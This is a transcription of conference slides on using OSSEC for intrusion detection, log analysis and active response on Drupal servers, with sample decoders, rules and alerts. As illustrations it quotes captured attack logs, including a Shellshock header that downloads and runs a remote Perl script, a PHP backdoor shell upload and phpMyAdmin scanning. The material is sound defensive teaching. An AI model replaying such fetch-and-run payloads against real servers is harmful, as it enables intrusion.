OSSEC. Intrusion detection and response System and log analysis of Drupal sites and servers

Transcription

1 OSSEC Intrusion detection and response System and log analysis of Drupal sites and servers

2 Accidental surprises November [04/Nov/2012:05:48: ] "POST %2Fxss HTTP/1.1" "-" "-" [04/Nov/2012:05:49: ] "POST q=ckeditor%2fxss HTTP/1.1" "-" "-" [04/Nov/2012:05:49: ] "GET files/wtm5439n.php HTTP/1.1" "-" "-" [04/Nov/2012:06:27: ] "POST default/files/wtm5439n.php?cookies=1&showimg=1&truecss=1&t2122n=1 HTTP/1.1" C99 (R57) shell (PHP-based Backdoor) CKeditor: arbitrary code exec (SA-CONTRIB ) Core served.php files from files dir (SA-CORE )

3 Last month s doozie /var/log/syslog Oct 20 19:58:18 example drupal: php Warning: addcslashes() expects parameter 1 to be string, array given in DatabaseConnection->escapeLike() (line 984 of /var/www/drupal/www/includes/database/ database.inc)

4 Shellshock /var/log/nginx/access.log [18/Oct/2014:16:50: ] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" "() { :;}; /bin/bash -c \x5cx22cd /tmp;wget /tmp/lifesux.txt;rm -rf /tmp/lifesux.txt\x5cx22" "() { :;}; /bin/bash -c \x5cx22cd /tmp;wget lifesux.txt;perl /tmp/lifesux.txt;rm -rf lifesux.txt\x5cx22"

5 What s in logs? /var/log/apache2 crawlers hunting for holes brute-forcing /user/password, /user/register error 500, 504 (gateway timeouts, slow PHP?)

6 What s in logs? /var/log/syslog (Drupal) brute forcing (in more detail) exceptions, permissions problems crashes, panics, timeouts external service drama: Mollom, Payment GW

7 What s in logs? /var/log/auth.log SSH, user/group modifications sudo vi /srv/drupal/includes/bootstrap.inc :(

8 Risk = Intrusion Bad practice ( sudo chown -R 777..) Human error Dependant services (third parties) Packages installed or removed (/var/log/apt/history.log) all has impact, all in the logs

9 ISO27001 Security is not just about intrusions Security is anything that could compromise availability, integrity, confidence, trust, reputation, money

10 What to do about it? Enter

11 OSSEC model Server->agent mode (central config, active response propagates) Local mode (standalone) Hybrid mode (multi-tier, complex topography)

12 4 main features Log analysis (What s happening now that s being logged?) Syscheck (integrity checking - what happened that left traces?) Rootcheck (rootkit detection) Active Response (what to do about it?)

13 Log Analysis What s happening? Decoders How to interpret logs (regex patterns to split up timestamps, IPs, messages) Rules Match decoded message against known issues Grade them by severity

14 Log Analysis Out of the box examples: SSH (bruteforcing, first time user logged in ) First time user executed sudo SMTP (spam relay attempts, SASL bruteforcing) Apache/Nginx issues (40Xs, 50Xs) Wordpress/Joomla brute-forcing - no Drupal :(

15 Log Analysis Drupal watchdog custom decoder (Syslog module) <decoder name="drupal"> <program_name>^drupal</program_name> <prematch>\d+.\d+.\d+.\d \S+ \d+ \w+ </prematch> <regex offset="after_prematch">(\d+.\d+.\d+.\d+)\ (\.+)\ \.*\ \d+\ \.*\ (\.+)</regex> <order>srcip,url,data</order> </decoder>

16 Log Analysis Example Drupal rules 1/3 <rule id="104110" level="3"> <decoded_as>drupal</decoded_as> " " < Use drupal decoder for this message >" <match>drupal</match> <description>drupal syslog message</description> </rule>

17 Log Analysis Example Drupal rules 2/3 <rule id="104120" level="6"> <if_sid>104110</if_sid> " " " < If this was a Drupal log message > <match>login attempt failed</match>" " < And the message contained Login attempt failed > <description>drupal failed login</description> </rule>

18 Log Analysis Example Drupal rules 3/3 <rule id="104130" level="10" frequency="4" timeframe= 360"> < Happened too many times too quickly > <if_matched_sid>104120</if_matched_sid> < Parent Drupal rule: Login attempt failed > <description>possible Drupal brute force attack </description> <description>(high number of logins).</description> </rule>

19 Log Analysis Bingo OSSEC HIDS Notification Jun 23 18:11:38 Received From: (example) >/var/log/messages Rule: fired (level 10) -> "Possible Drupal brute force attack (high number of logins)." Portion of the log(s): Jun 23 18:11:38 example drupal: user index.php?q=user/login 0 Login attempt failed for wembleylman10. Jun 23 18:11:36 example drupal: user index.php?q=user/login 0 Login attempt failed for wembleylman10. Jun 23 18:09:12 example drupal: user Login attempt failed for arrevemof. Jun 23 18:09:12 example drupal: user Login attempt failed for arrevemof. Jun 23 18:09:09 example drupal: user Login attempt failed for abralfultifug. Jun 23 18:09:09 example drupal: user Login attempt failed for abralfultifug. --END OF NOTIFICATION

20 Log Analysis Resource problems? (bottleneck/memory leak?) OSSEC HIDS Notification May 07 14:49:44 Received From: (example) >/var/log/syslog Rule: 1002 fired (level 2) -> "Unknown problem somewhere in the system." Portion of the log(s): May 7 14:49:43 example drupal: php PDOException: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction: DELETE FROM {XXXXXXXXX} #012WHERE (uid = :db_condition_placeholder_0) AND (subid = :db_condition_placeholder_1) ; Array#012(#012 [:db_condition_placeholder_0] => 68148#012 [:db_condition_placeholder_1] => 77217#012)#012 in XXXXXXX_update::delete() (line 652 of /var/www/drupal/www/sites/all/modules/custom/xxxxxx/xxxxx.inc). --END OF NOTIFICATION OSSEC HIDS Notification Jun 14 15:17:02 Received From: (example) >/var/log/messages Rule: 1002 fired (level 2) -> "Unknown problem somewhere in the system." Portion of the log(s): - Jun 14 15:17:02 example ool www: PHP Fatal error: Allowed memory size of bytes exhausted (tried to allocate 64 bytes) in /var/www/drupal/www/sites/ all/modules/contrib/views/modules/field/views_handler_field_field.inc on line END OF NOTIFICATION

21 Syscheck Detects when files have changed (checksums) lots of false positives due to software patching 2014 Jul 01 04:01:03 Received From: (example) >syscheck Rule: 550 fired (level 7) -> "Integrity checksum changed." Portion of the log(s): Integrity checksum changed for: '/usr/bin/ssh'" " " " " " << hopefully that s legit because you recently patched OpenSSH.. Size changed from '434024' to '641640' Old md5sum was: ' f654d7a2d7b38a0b0c09def4' New md5sum is : 'a8bf35316eb4f46e377a957ecb6cfdca' Old sha1sum was: '976af6f53338a7e9d4eb71617a2a8471aeb6937b' New sha1sum is : 'e871e0a907cdfb76c6e0722a6196b0c9f8edb1fd' --END OF NOTIFICATION what s changed?

22 Rootcheck rkhunter is great, but get a 2nd opinion Hopefully more false positives than not OSSEC HIDS Notification Nov 20 23:37:22 Received From: (example) >rootcheck Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)." Portion of the log(s): Anomaly detected in file '/tmp/#sql_1020_0.myi'. Hidden from stats, but showing up on readdir. Possible kernel level rootkit." --END OF NOTIFICATION

23 Rootcheck Gah OSSEC HIDS Notification Nov 12 09:36:16 Received From: example->rootcheck Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)." Portion of the log(s): File /var/www/sites/default/settings.php is owned by root and has written permissions to anyone." --END OF NOTIFICATION

24 Active Response OK, now what? OSSEC HIDS Notification Jun 28 21:36:54 Received From: (example) >/var/log/nginx/access.log Rule: fired (level 10) -> "Multiple web server 400 error codes from same source ip." Portion of the log(s): [28/Jun/2014:21:34: ] "GET //phpmyadmin all-languages/scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //phpmyadmin /scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //phpmyadmin /scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //phpmyadmin /scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //phpmyadmin /scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //phpmyadmin /scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //phpmyadmin /scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //phpmyadmin /scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //php/phpmyadmin/scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //forum/phpmyadmin/scripts/setup.php HTTP/1.1" "-" "-" [28/Jun/2014:21:34: ] "GET //cpphpmyadmin/scripts/setup.php HTTP/1.1" "-" "-" --END OF NOTIFICATION

25 Active Response firewall-drop.sh most common response but can be anything you want null route alternative exists for systems behind NAT (where public IP blocking is useless)

26 Active Response When using server->agent model: One agent detects Every agent blocks (immediately) Can employ repeat offender punishment

27 Active Response Drupal behind loadbalancers/varnish? Make sure you have IPs logging correctly Nginx/Apache to log X-Forwarded-For as client IP $conf[ reverse_proxy ] $conf[ reverse_proxy_addresses ]

28 sucks Good for notifications. Crap to look at. (ELK demo time)

29 ELK: much nicer (demo time)

30 Mig s tips Filter out the noise to avoid monitoring fatigue tune, don t ignore rule 1002 ( Unknown Problem ) Whitelist all your IPs: don t lock yourself out OSSEC is not perfect: add defense in depth (NIDs, Cloudflare WAF, rkhunter, ClamAV)

31 Resources These slides Website Monitoring Drupal with OSSEC My quick-start install script Longer version of this talk